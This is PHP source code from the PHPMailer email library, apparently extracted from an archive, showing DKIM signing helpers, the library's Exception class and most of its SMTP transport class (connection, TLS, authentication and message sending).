                $currentHeaderValue .= ' ' . $matches[1];
            }
            ++$headerLineIndex;
            if ($headerLineIndex >= $headerLineCount) {
                //This was the last line, so finish off this header
                $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
            }
        }
        $copiedHeaders = [];
        $headersToSignKeys = [];
        $headersToSign = [];
        foreach ($parsedHeaders as $header) {
            //Is this header one that must be included in the DKIM signature?
            if (in_array(strtolower($header['label']), $autoSignHeaders, true)) {
                $headersToSignKeys[] = $header['label'];
                $headersToSign[] = $header['label'] . ': ' . $header['value'];
                if ($this->DKIM_copyHeaderFields) {
                    $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
                        str_replace('|', '=7C', $this->DKIM_QP($header['value']));
                }
                continue;
            }
            //Is this an extra custom header we've been asked to sign?
            if (in_array($header['label'], $this->DKIM_extraHeaders, true)) {
                //Find its value in custom headers
                foreach ($this->CustomHeader as $customHeader) {
                    if ($customHeader[0] === $header['label']) {
                        $headersToSignKeys[] = $header['label'];
                        $headersToSign[] = $header['label'] . ': ' . $header['value'];
                        if ($this->DKIM_copyHeaderFields) {
                            $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
                                str_replace('|', '=7C', $this->DKIM_QP($header['value']));
                        }
                        //Skip straight to the next header
                        continue 2;
                    }
                }
            }
        }
        $copiedHeaderFields = '';
        if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) {
            //Assemble a DKIM 'z' tag
            $copiedHeaderFields = ' z=';
            $first = true;
            foreach ($copiedHeaders as $copiedHeader) {
                if (!$first) {
                    $copiedHeaderFields .= static::$LE . ' |';
                }
                //Fold long values
                if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) {
                    $copiedHeaderFields .= substr(
                        chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS),
                        0,
                        -strlen(static::$LE . self::FWS)
                    );
                } else {
                    $copiedHeaderFields .= $copiedHeader;
                }
                $first = false;
            }
            $copiedHeaderFields .= ';' . static::$LE;
        }
        $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE;
        $headerValues = implode(static::$LE, $headersToSign);
        $body = $this->DKIM_BodyC($body);
        //Base64 of packed binary SHA-256 hash of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body)));
        $ident = '';
        if ('' !== $this->DKIM_identity) {
            $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE;
        }
        //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag
        //which is appended after calculating the signature
        //https://www.rfc-editor.org/rfc/rfc6376#section-3.5
        $dkimSignatureHeader = 'DKIM-Signature: v=1;' .
            ' d=' . $this->DKIM_domain . ';' .
            ' s=' . $this->DKIM_selector . ';' . static::$LE .
            ' a=' . $DKIMsignatureType . ';' .
            ' q=' . $DKIMquery . ';' .
            ' t=' . $DKIMtime . ';' .
            ' c=' . $DKIMcanonicalization . ';' . static::$LE .
            $headerKeys .
            $ident .
            $copiedHeaderFields .
            ' bh=' . $DKIMb64 . ';' . static::$LE .
            ' b=';
        //Canonicalize the set of headers
        $canonicalizedHeaders = $this->DKIM_HeaderC(
            $headerValues . static::$LE . $dkimSignatureHeader
        );
        $signature = $this->DKIM_Sign($canonicalizedHeaders);
        $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS));

        return static::normalizeBreaks($dkimSignatureHeader . $signature);
    }

    /**
     * Detect if a string contains a line longer than the maximum line length
     * allowed by RFC 2822 section 2.1.1.
     *
     * @param string $str
     *
     * @return bool
     */
    public static function hasLineLongerThanMax($str)
    {
        return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str);
    }

    /**
     * If a string contains any "special" characters, double-quote the name,
     * and escape any double quotes with a backslash.
     *
     * @param string $str
     *
     * @return string
     *
     * @see RFC822 3.4.1
     */
    public static function quotedString($str)
    {
        if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) {
            //If the string contains any of these chars, it must be double-quoted
            //and any double quotes must be escaped with a backslash
            return '"' . str_replace('"', '\\"', $str) . '"';
        }

        //Return the string untouched, it doesn't need quoting
        return $str;
    }

    /**
     * Allows for public read access to 'to' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     *
     * @param bool   $isSent
     * @param array  $to
     * @param array  $cc
     * @param array  $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     * @param array  $extra
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra);
        }
    }

    /**
     * Get the OAuthTokenProvider instance.
     *
     * @return OAuthTokenProvider
     */
    public function getOAuth()
    {
        return $this->oauth;
    }

    /**
     * Set an OAuthTokenProvider instance.
     */
    public function setOAuth(OAuthTokenProvider $oauth)
    {
        $this->oauth = $oauth;
    }
}
Exception.php000064400000002350151024211000007175 0ustar00<?php

/**
 * PHPMailer Exception class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer exception handler.
 *
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class Exception extends \Exception
{
    /**
     * Prettify error message output.
     *
     * @return string
     */
    public function errorMessage()
    {
        return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n";
    }
}
SMTP.php000064400000137774151024211000006045 0ustar00<?php

/**
 * PHPMailer RFC821 SMTP email transport class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer RFC821 SMTP email transport class.
 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
 *
 * @author Chris Ryan
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class SMTP
{
    /**
     * The PHPMailer SMTP version number.
     *
     * @var string
     */
    const VERSION = '6.9.3';

    /**
     * SMTP line break constant.
     *
     * @var string
     */
    const LE = "\r\n";

    /**
     * The SMTP port to use if one is not specified.
     *
     * @var int
     */
    const DEFAULT_PORT = 25;

    /**
     * The SMTPs port to use if one is not specified.
     *
     * @var int
     */
    const DEFAULT_SECURE_PORT = 465;

    /**
     * The maximum line length allowed by RFC 5321 section 4.5.3.1.6,
     * *excluding* a trailing CRLF break.
     *
     * @see https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.6
     *
     * @var int
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5,
     * *including* a trailing CRLF line break.
     *
     * @see https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.5
     *
     * @var int
     */
    const MAX_REPLY_LENGTH = 512;

    /**
     * Debug level for no output.
     *
     * @var int
     */
    const DEBUG_OFF = 0;

    /**
     * Debug level to show client -> server messages.
     *
     * @var int
     */
    const DEBUG_CLIENT = 1;

    /**
     * Debug level to show client -> server and server -> client messages.
     *
     * @var int
     */
    const DEBUG_SERVER = 2;

    /**
     * Debug level to show connection status, client -> server and server -> client messages.
     *
     * @var int
     */
    const DEBUG_CONNECTION = 3;

    /**
     * Debug level to show all messages.
     *
     * @var int
     */
    const DEBUG_LOWLEVEL = 4;

    /**
     * Debug output level.
     * Options:
     * * self::DEBUG_OFF (`0`) No debug output, default
     * * self::DEBUG_CLIENT (`1`) Client commands
     * * self::DEBUG_SERVER (`2`) Client commands and server responses
     * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
     * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages.
     *
     * @var int
     */
    public $do_debug = self::DEBUG_OFF;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     *
     * ```php
     * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * ```
     *
     * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
     * level output is used:
     *
     * ```php
     * $mail->Debugoutput = new myPsr3Logger;
     * ```
     *
     * @var string|callable|\Psr\Log\LoggerInterface
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to use VERP.
     *
     * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @see https://www.postfix.org/VERP_README.html Info on VERP
     *
     * @var bool
     */
    public $do_verp = false;

    /**
     * The timeout value for connection, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
     *
     * @see https://www.rfc-editor.org/rfc/rfc2821#section-4.5.3.2
     *
     * @var int
     */
    public $Timeout = 300;

    /**
     * How long to wait for commands to complete, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     *
     * @var int
     */
    public $Timelimit = 300;

    /**
     * Patterns to extract an SMTP transaction id from reply to a DATA command.
     * The first capture group in each regex will be used as the ID.
     * MS ESMTP returns the message ID, which may not be correct for internal tracking.
     *
     * @var string[]
     */
    protected $smtp_transaction_id_patterns = [
        'exim' => '/[\d]{3} OK id=(.*)/',
        'sendmail' => '/[\d]{3} 2\.0\.0 (.*) Message/',
        'postfix' => '/[\d]{3} 2\.0\.0 Ok: queued as (.*)/',
        'Microsoft_ESMTP' => '/[0-9]{3} 2\.[\d]\.0 (.*)@(?:.*) Queued mail for delivery/',
        'Amazon_SES' => '/[\d]{3} Ok (.*)/',
        'SendGrid' => '/[\d]{3} Ok: queued as (.*)/',
        'CampaignMonitor' => '/[\d]{3} 2\.0\.0 OK:([a-zA-Z\d]{48})/',
        'Haraka' => '/[\d]{3} Message Queued \((.*)\)/',
        'ZoneMTA' => '/[\d]{3} Message queued as (.*)/',
        'Mailjet' => '/[\d]{3} OK queued as (.*)/',
    ];

    /**
     * Allowed SMTP XCLIENT attributes.
     * Must be allowed by the SMTP server. EHLO response is not checked.
     *
     * @see https://www.postfix.org/XCLIENT_README.html
     *
     * @var array
     */
    public static $xclient_allowed_attributes = [
        'NAME', 'ADDR', 'PORT', 'PROTO', 'HELO', 'LOGIN', 'DESTADDR', 'DESTPORT'
    ];

    /**
     * The last transaction ID issued in response to a DATA command,
     * if one was detected.
     *
     * @var string|bool|null
     */
    protected $last_smtp_transaction_id;

    /**
     * The socket for the server connection.
     *
     * @var ?resource
     */
    protected $smtp_conn;

    /**
     * Error information, if any, for the last SMTP command.
     *
     * @var array
     */
    protected $error = [
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => '',
    ];

    /**
     * The reply the server sent to us for HELO.
     * If null, no HELO string has yet been received.
     *
     * @var string|null
     */
    protected $helo_rply;

    /**
     * The set of SMTP extensions sent in reply to EHLO command.
     * Indexes of the array are extension names.
     * Value at index 'HELO' or 'EHLO' (according to command that was sent)
     * represents the server name. In case of HELO it is the only element of the array.
     * Other values can be boolean TRUE or an array containing extension options.
     * If null, no HELO/EHLO string has yet been received.
     *
     * @var array|null
     */
    protected $server_caps;

    /**
     * The most recent reply received from the server.
     *
     * @var string
     */
    protected $last_reply = '';

    /**
     * Output debugging info via a user-selected method.
     *
     * @param string $str   Debug string to output
     * @param int    $level The debug level of this message; see DEBUG_* constants
     *
     * @see SMTP::$Debugoutput
     * @see SMTP::$do_debug
     */
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        //Is this a PSR-3 logger?
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            //Remove trailing line breaks potentially added by calls to SMTP::client_send()
            $this->Debugoutput->debug(rtrim($str, "\r\n"));

            return;
        }
        //Avoid clash with built-in function names
        if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
            call_user_func($this->Debugoutput, $str, $level);

            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                /** @noinspection ForgottenDebugOutputInspection */
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo gmdate('Y-m-d H:i:s'), ' ', htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                ), "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate('Y-m-d H:i:s'),
                "\t",
                    //Trim trailing space
                trim(
                    //Indent for readability, except for trailing break
                    str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    )
                ),
                "\n";
        }
    }

    /**
     * Connect to an SMTP server.
     *
     * @param string $host    SMTP server IP or host name
     * @param int    $port    The port number to connect to
     * @param int    $timeout How long to wait for the connection to open
     * @param array  $options An array of options for stream_context_create()
     *
     * @return bool
     */
    public function connect($host, $port = null, $timeout = 30, $options = [])
    {
        //Clear errors to avoid confusion
        $this->setError('');
        //Make sure we are __not__ connected
        if ($this->connected()) {
            //Already connected, generate error
            $this->setError('Already connected to a server');

            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_PORT;
        }
        //Connect to the SMTP server
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=" .
            (count($options) > 0 ? var_export($options, true) : 'array()'),
            self::DEBUG_CONNECTION
        );

        $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options);

        if ($this->smtp_conn === false) {
            //Error info already set inside `getSMTPConnection()`
            return false;
        }

        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);

        //Get any announcement
        $this->last_reply = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
        $responseCode = (int)substr($this->last_reply, 0, 3);
        if ($responseCode === 220) {
            return true;
        }
        //Anything other than a 220 response means something went wrong
        //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error
        //https://www.rfc-editor.org/rfc/rfc5321#section-3.1
        if ($responseCode === 554) {
            $this->quit();
        }
        //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down)
        $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION);
        $this->close();
        return false;
    }

    /**
     * Create connection to the SMTP server.
     *
     * @param string $host    SMTP server IP or host name
     * @param int    $port    The port number to connect to
     * @param int    $timeout How long to wait for the connection to open
     * @param array  $options An array of options for stream_context_create()
     *
     * @return false|resource
     */
    protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = [])
    {
        static $streamok;
        //This is enabled by default since 5.0.0 but some providers disable it
        //Check this once and cache the result
        if (null === $streamok) {
            $streamok = function_exists('stream_socket_client');
        }

        $errno = 0;
        $errstr = '';
        if ($streamok) {
            $socket_context = stream_context_create($options);
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
            $connection = stream_socket_client(
                $host . ':' . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
        } else {
            //Fall back to fsockopen which should work in more places, but is missing some features
            $this->edebug(
                'Connection: stream_socket_client not available, falling back to fsockopen',
                self::DEBUG_CONNECTION
            );
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
            $connection = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
        }
        restore_error_handler();

        //Verify we connected properly
        if (!is_resource($connection)) {
            $this->setError(
                'Failed to connect to server',
                '',
                (string) $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );

            return false;
        }

        //SMTP server can take longer to respond, give longer timeout for first read
        //Windows does not have support for this timeout function
        if (strpos(PHP_OS, 'WIN') !== 0) {
            $max = (int)ini_get('max_execution_time');
            //Don't bother if unlimited, or if set_time_limit is disabled
            if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($connection, $timeout, 0);
        }

        return $connection;
    }

    /**
     * Initiate a TLS (encrypted) session.
     *
     * @return bool
     */
    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }

        //Allow the best TLS version(s) we can
        $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

        //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
        //so add them back in manually if we can
        if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
        }

        //Begin encrypted connection
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
        $crypto_ok = stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            $crypto_method
        );
        restore_error_handler();

        return (bool) $crypto_ok;
    }

    /**
     * Perform SMTP authentication.
     * Must be run after hello().
     *
     * @see    hello()
     *
     * @param string $username The user name
     * @param string $password The password
     * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2)
     * @param OAuthTokenProvider $OAuth An optional OAuthTokenProvider instance for XOAUTH2 authentication
     *
     * @return bool True if successfully authenticated
     */
    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $OAuth = null
    ) {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');

            return false;
        }

        if (array_key_exists('EHLO', $this->server_caps)) {
            //SMTP extensions are available; try to find a proper authentication method
            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                //'at this stage' means that auth may be allowed after the stage changes
                //e.g. after STARTTLS

                return false;
            }

            $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL);
            $this->edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );

            //If we have requested a specific auth type, check the server supports it before trying others
            if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) {
                $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL);
                $authtype = null;
            }

            if (empty($authtype)) {
                //If no auth mechanism is specified, attempt to use these, in this order
                //Try CRAM-MD5 first as it's more secure than the others
                foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) {
                    if (in_array($method, $this->server_caps['AUTH'], true)) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');

                    return false;
                }
                $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL);
            }

            if (!in_array($authtype, $this->server_caps['AUTH'], true)) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");

                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                //Send encoded username and password
                if (
                    //Format from https://www.rfc-editor.org/rfc/rfc4616#section-2
                    //We skip the first field (it's forgery), so the string starts with a null byte
                    !$this->sendCommand(
                        'User & Password',
                        base64_encode("\0" . $username . "\0" . $password),
                        235
                    )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand('Username', base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand('Password', base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'CRAM-MD5':
                //Start authentication
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                //Get the challenge
                $challenge = base64_decode(substr($this->last_reply, 4));

                //Build the response
                $response = $username . ' ' . $this->hmac($challenge, $password);

                //send encoded credentials
                return $this->sendCommand('Username', base64_encode($response), 235);
            case 'XOAUTH2':
                //The OAuth instance must be set up prior to requesting auth.
                if (null === $OAuth) {
                    return false;
                }
                $oauth = $OAuth->getOauth64();

                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) {
                    return false;
                }
                break;
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");

                return false;
        }

        return true;
    }

    /**
     * Calculate an MD5 HMAC hash.
     * Works like hash_hmac('md5', $data, $key)
     * in case that function is not available.
     *
     * @param string $data The data to hash
     * @param string $key  The key to hash with
     *
     * @return string
     */
    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }

        //The following borrowed from
        //https://www.php.net/manual/en/function.mhash.php#27225

        //RFC 2104 HMAC implementation for php.
        //Creates an md5 HMAC.
        //Eliminates the need to install mhash to compute a HMAC
        //by Lance Rushing

        $bytelen = 64; //byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;

        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }

    /**
     * Check connection state.
     *
     * @return bool True if connected
     */
    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                //The socket is valid but we are not connected
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();

                return false;
            }

            return true; //everything looks good
        }

        return false;
    }

    /**
     * Close the socket and clean up the state of the class.
     * Don't use this function without first trying to use QUIT.
     *
     * @see quit()
     */
    public function close()
    {
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
            //Close the connection and cleanup
            fclose($this->smtp_conn);
            $this->smtp_conn = null; //Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }

    /**
     * Send an SMTP DATA command.
     * Issues a data command and sends the msg_data to the server,
     * finalizing the mail transaction. $msg_data is the message
     * that is to be sent with the headers. Each header needs to be
     * on a single line followed by a <CRLF> with the message headers
     * and the message body being separated by an additional <CRLF>.
     * Implements RFC 821: DATA <CRLF>.
     *
     * @param string $msg_data Message data to send
     *
     * @return bool
     */
    public function data($msg_data)
    {
        //This will use the standard timelimit
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }

        /* The server is ready to accept data!
         * According to rfc821 we should not send more than 1000 characters on a single line (including the LE)
         * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
         * smaller lines to fit within the limit.
         * We will also look for lines that start with a '.' and prepend an additional '.'.
         * NOTE: this does not count towards line-length limit.
         */

        //Normalize line breaks before exploding
        $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data));

        /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
         * of the first line (':' separated) does not contain a space then it _should_ be a header, and we will
         * process all lines before a blank line as headers.
         */

        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }

        foreach ($lines as $line) {
            $lines_out = [];
            if ($in_headers && $line === '') {
                $in_headers = false;
            }
            //Break this line up into several smaller lines if it's too long
            //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
            while (isset($line[self::MAX_LINE_LENGTH])) {
                //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
                //so as to avoid breaking in the middle of a word
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                //Deliberately matches both false and 0
                if (!$pos) {
                    //No nice break found, add a hard break
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    //Break at the found point
                    $lines_out[] = substr($line, 0, $pos);
                    //Move along by the amount we dealt with
                    $line = substr($line, $pos + 1);
                }
                //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;

            //Send the lines to the server
            foreach ($lines_out as $line_out) {
                //Dot-stuffing as per RFC5321 section 4.5.2
                //https://www.rfc-editor.org/rfc/rfc5321#section-4.5.2
                if (!empty($line_out) && $line_out[0] === '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . static::LE, 'DATA');
            }
        }

        //Message data has been sent, complete the command
        //Increase timelimit for end of DATA command
        $savetimelimit = $this->Timelimit;
        $this->Timelimit *= 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        $this->recordLastTransactionID();
        //Restore timelimit
        $this->Timelimit = $savetimelimit;

        return $result;
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Used to identify the sending server to the receiving server.
     * This makes sure that client and server are in a known state.
     * Implements RFC 821: HELO <SP> <domain> <CRLF>
     * and RFC 2821 EHLO.
     *
     * @param string $host The host name or IP to connect to
     *
     * @return bool
     */
    public function hello($host = '')
    {
        //Try extended hello first (RFC 2821)
        if ($this->sendHello('EHLO', $host)) {
            return true;
        }

        //Some servers shut down the SMTP service here (RFC 5321)
        if (substr($this->helo_rply, 0, 3) == '421') {
            return false;
        }

        return $this->sendHello('HELO', $host);
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Low-level implementation used by hello().
     *
     * @param string $hello The HELO string
     * @param string $host  The hostname to say we are
     *
     * @return bool
     *
     * @see hello()
     */
    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }

        return $noerror;
    }

    /**
     * Parse a reply to HELO/EHLO command to discover server extensions.
     * In case of HELO, the only parameter that can be discovered is a server name.
     *
     * @param string $type `HELO` or `EHLO`
     */
    protected function parseHelloFields($type)
    {
        $this->server_caps = [];
        $lines = explode("\n", $this->helo_rply);

        foreach ($lines as $n => $s) {
            //First 4 chars contain response code followed by - or space
            $s = trim(substr($s, 4));
            if (empty($s)) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    switch ($name) {
                        case 'SIZE':
                            $fields = ($fields ? $fields[0] : 0);
                            break;
                        case 'AUTH':
                            if (!is_array($fields)) {
                                $fields = [];
                            }
                            break;
                        default:
                            $fields = true;
                    }
                }
                $this->server_caps[$name] = $fields;
            }
        }
    }

    /**
     * Send an SMTP MAIL command.
     * Starts a mail transaction from the email address specified in
     * $from. Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command.
     * Implements RFC 821: MAIL <SP> FROM:<reverse-path> <CRLF>.
     *
     * @param string $from Source address of this message
     *
     * @return bool
     */
    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');

